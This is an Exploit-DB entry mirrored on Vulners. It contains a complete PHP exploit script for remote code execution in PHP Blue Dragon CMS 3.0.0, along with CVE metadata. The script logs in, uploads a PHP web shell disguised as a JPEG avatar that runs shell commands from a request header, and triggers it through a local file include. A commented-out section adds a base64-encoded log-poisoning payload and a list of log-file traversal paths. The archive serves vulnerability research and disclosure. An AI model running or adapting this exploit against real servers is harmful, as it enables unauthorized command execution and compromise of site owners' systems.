Lucene search
+L

PHP Blue Dragon CMS 3.0.0 - Remote Code Execution

🗓️ 10 Aug 2007 00:00:00Reported by KacperType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

PHP Blue Dragon CMS 3.0.0 - Remote Code Execution vulnerability. Exploit allows remote attackers to execute arbitrary commands via vulnerable PHP script

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2006-4962
23 Sep 200610:00
cve
Cvelist
CVE-2006-4962
23 Sep 200610:00
cvelist
Exploit DB
PHP Blue Dragon CMS 2.9.1 - Cross-Site Scripting / SQL Injection Code Execution
20 Sep 200600:00
exploitdb
NVD
CVE-2006-4962
23 Sep 200610:07
nvd
<?php

// Exploit Name: Php Blue Dragon CMS 3.0.0 Code Execution Exploit
//Script Homepage: http://phpbluedragon.pl/

// Autor: Kacper [[email protected]]
// Autor Homepage: devilteam.eu  |  kacper.bblog.pl

//Pozdrawiam wszystkich ludzi z DEVIL TEAM, Zapraszam na irc!
//Irc: irc.milw0rm.com:6667 #devilteam

//Elo

if ($argc<7) {
    print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path login password id cmd OPTIONS
host:      target server (ip/hostname)
path:      path to Php Blue Dragon
login:     registered login
password:  password :)
id:        registered user id!
cmd:       a shell command
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /Php Blue Dragon/ admin admin 1 ls -la
php '.$argv[0].' localhost /Php Blue Dragon/ admin admin 1 ls -la -P1.1.1.1:80
---------------------------------------------------------------------------
');
die;
}
error_reporting(7);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function wyslijpakiet($pakiet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$pakiet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$login=$argv[3];
$haslo=$argv[4];
$id=$argv[5];
$port=80;
$proxy="";
$cmd="";
for ($i=6; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>'-p') and ($temp<>'-P')) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'bad patch!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

/* Use Local include to remotce code executions from logfile in server
echo "insert evil code in logfiles to run local include ...\r\n\r\n";
$hauru2 = base64_decode("PD9waHAgb2JfY2xlYW4oKTsvL1J1Y2hvbXkgemFtZWsgSGF1cnUgOy0pZWNobyIuL".
"i5IYWNrZXIuLkthY3Blci4uTWFkZS4uaW4uLlBvbGFuZCEhLi4uREVWSUwuVEVBTS".
"4udGhlLi5iZXN0Li5wb2xpc2guLnRlYW0uLkdyZWV0ei4uLiI7ZWNobyIuLi5HbyB".
"UbyBERVZJTCBURUFNIElSQzogNzIuMjAuMTguNjo2NjY3ICNkZXZpbHRlYW0iO2Vj".
"aG8iLi4uREVWSUwgVEVBTSBTSVRFOiBodHRwOi8vd3d3LnJhaGltLndlYmQucGwvI".
"jtpbmlfc2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiLDApO2VjaG8gIkhhdXJ1IjtwYX".
"NzdGhydSgkX1NFUlZFUltIVFRQX0hBVVJVXSk7ZGllOz8+");
$pakiet="GET ".$p.$hauru2." HTTP/1.0\r\n";
$pakiet.="User-Agent: ".$hauru2." Googlebot/2.1\r\n";
$pakiet.="Host: ".$host."\r\n";
$pakiet.="Connection: close\r\n\r\n";
wyslijpakiet($pakiet);
sleep(1);
$paths= array (
"../../../../../var/log/httpd/access_log",
"../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../etc/httpd/logs/access_log",
"../../../../../etc/httpd/logs/access.log",
"../../../../../etc/httpd/logs/error_log",
"../../../../../etc/httpd/logs/error.log",
"../../../../../var/www/logs/access_log",
"../../../../../var/www/logs/access.log",
"../../../../../usr/local/apache/logs/access_log",
"../../../../../usr/local/apache/logs/access.log",
"../../../../../var/log/apache/access_log",
"../../../../../var/log/apache/access.log",
"../../../../../var/log/access_log",
"../../../../../var/www/logs/error_log",
"../../../../../var/www/logs/error.log",
"../../../../../usr/local/apache/logs/error_log",
"../../../../../usr/local/apache/logs/error.log",
"../../../../../var/log/apache/error_log",
"../../../../../var/log/apache/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/error_log"
);
for ($i=0; $i<=count($paths)-1; $i++)
{$a=$i+2;
echo "[".$a."] Check Path: ".$paths[$i]."\r\n";
echo "remote code execution...wait..\n";
$pakiet ="GET ".$p."pbd_engine.php?phpExt=/../".$paths[$i]." HTTP/1.1\r\n";
$pakiet.="HAURU: ".$cmd."\r\n";
$pakiet.="Host: ".$host."\r\n";
$pakiet.="Connection: Close\r\n\r\n";
wyslijpakiet($pakiet);
if (strstr($html,"Hauru"))
{$temp=explode("Hauru",$html);
die($temp[1]);
}else{echo "can't run evil code :/ ..\n";}}

End of remote local include :)*/

$pakiet ="GET ".$p."index.php HTTP/1.1\r\n";
$pakiet.="Host: ".$host."\r\n";
$pakiet.="Connection: Close\r\n\r\n";
wyslijpakiet($pakiet);
$temp=explode("Set-Cookie: ",$html);
$COOKIE='';
for ($i=1; $i<=1; $i++)
{$temp2=explode(" ",$temp[$i]);
$COOKIE.=" ".$temp2[0];}
echo "COOKIE ".htmlentities($COOKIE)."\r\n";
echo "Login now..\n";
$data   ="login=".$login."&password=".$haslo."&m=login&ms=user&redirect=index.php%3Fm%3Dlogout%26ms%3Dmain_file&pbd_form_send=yes&send=Zaloguj+mnie%21";
$pakiet ="POST ".$p."index.php?m=login HTTP/1.0\r\n";
$pakiet.="Host: ".$host."\r\n";
$pakiet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\r\n";
$pakiet.="Connection: keep-alive\r\n\r\n";
$pakiet.="Referer: http://".$host."index.php?m=login\r\n";
$pakiet.="Cookie: ".htmlentities($COOKIE)."; dragon_stat=yes\r\n";
$pakiet.="Content-Type: application/x-www-form-urlencoded\r\n";
$pakiet.="Content-Length: ".strlen($data)."\r\n";
$pakiet.="Accept: text/plain\r\n";
$pakiet.=$data;
wyslijpakiet($pakiet);
echo "Upload Backdoor File..\n";
$data.='-----------------------------28753143466646
Content-Disposition: form-data; name="icq"

9999999
-----------------------------28753143466646
Content-Disposition: form-data; name="aim"

9999999
-----------------------------28753143466646
Content-Disposition: form-data; name="msn"

99999999
-----------------------------28753143466646
Content-Disposition: form-data; name="email"

[email protected]
-----------------------------28753143466646
Content-Disposition: form-data; name="gg"


-----------------------------28753143466646
Content-Disposition: form-data; name="website"

http://devilteam.eu
-----------------------------28753143466646
Content-Disposition: form-data; name="country"

Polska
-----------------------------28753143466646
Content-Disposition: form-data; name="city"

DEVIL TEAM
-----------------------------28753143466646
Content-Disposition: form-data; name="work"

Hacking
-----------------------------28753143466646
Content-Disposition: form-data; name="hobby"

Jarac Skuna :)
-----------------------------28753143466646
Content-Disposition: form-data; name="avatar"

./public_images/user_avarts/1.gif
-----------------------------28753143466646
Content-Disposition: form-data; name="avart2"; filename="lol.jpg"
Content-Type: image/jpeg

<?error_reporting(0);set_time_limit(0);echo"Remote_Code:[";passthru($_SERVER[HTTP_HAURU]);echo"]:End";?>
-----------------------------28753143466646
Content-Disposition: form-data; name="sign"

/root
-----------------------------28753143466646
Content-Disposition: form-data; name="timeplace"

1
-----------------------------28753143466646
Content-Disposition: form-data; name="dateformat"

d F Y, l
-----------------------------28753143466646
Content-Disposition: form-data; name="mycode"

yes
-----------------------------28753143466646
Content-Disposition: form-data; name="myemoticons"

yes
-----------------------------28753143466646
Content-Disposition: form-data; name="myhtml"

yes
-----------------------------28753143466646
Content-Disposition: form-data; name="addsign"

yes
-----------------------------28753143466646
Content-Disposition: form-data; name="tellpm"

yes
-----------------------------28753143466646
Content-Disposition: form-data; name="language"

polish-iso8859-2
-----------------------------28753143466646
Content-Disposition: form-data; name="template"

vphptree
-----------------------------28753143466646
Content-Disposition: form-data; name="pass"


-----------------------------28753143466646
Content-Disposition: form-data; name="newpass"


-----------------------------28753143466646
Content-Disposition: form-data; name="newpassrecom"


-----------------------------28753143466646
Content-Disposition: form-data; name="m"

profile
-----------------------------28753143466646
Content-Disposition: form-data; name="ms"

update
-----------------------------28753143466646
Content-Disposition: form-data; name="pbd_form_send"

yes
-----------------------------28753143466646
Content-Disposition: form-data; name="send"

Aktualizuj dane!
-----------------------------28753143466646--

';
$pakiet ="POST ".$p."index.php HTTP/1.0\r\n";
$pakiet.="Referer: http://".$host."index.php?m=profile\r\n";
$pakiet.="Host: ".$host."\r\n";
$pakiet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\r\n";
$pakiet.="Content-Type: application/x-www-form-urlencoded\r\n";
$pakiet.="Content-Length: ".strlen($data)."\r\n";
$pakiet.="Accept: text/plain\r\n";
$pakiet.="Cookie: ".htmlentities($COOKIE)."; dragon_stat=yes\r\n";
$pakiet.="Connection: keep-alive\r\n\r\n";
$pakiet.=$data;
wyslijpakiet($pakiet);
sleep(1);
echo "Run It...\n";
$pakiet ="GET ".$p."pbd_engine.php?phpExt=/../public_images/user_avarts/".$id.".jpg HTTP/1.1\r\n";
$pakiet.="HAURU: ".$cmd."\r\n";
$pakiet.="Host: ".$host."\r\n";
$pakiet.="Connection: Close\r\n\r\n";
wyslijpakiet($pakiet);
if (strstr($html,"Remote_Code:["))
{$temp=explode("]:End",$html);
die($temp[1]);}
echo "Cant find evil file :/    maybe this version script is too old but is not vulnerable ...\r\n";
echo "Go to DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam\r\n";
?>

# milw0rm.com [2007-08-10]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Oct 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.4
EPSS0.03283
33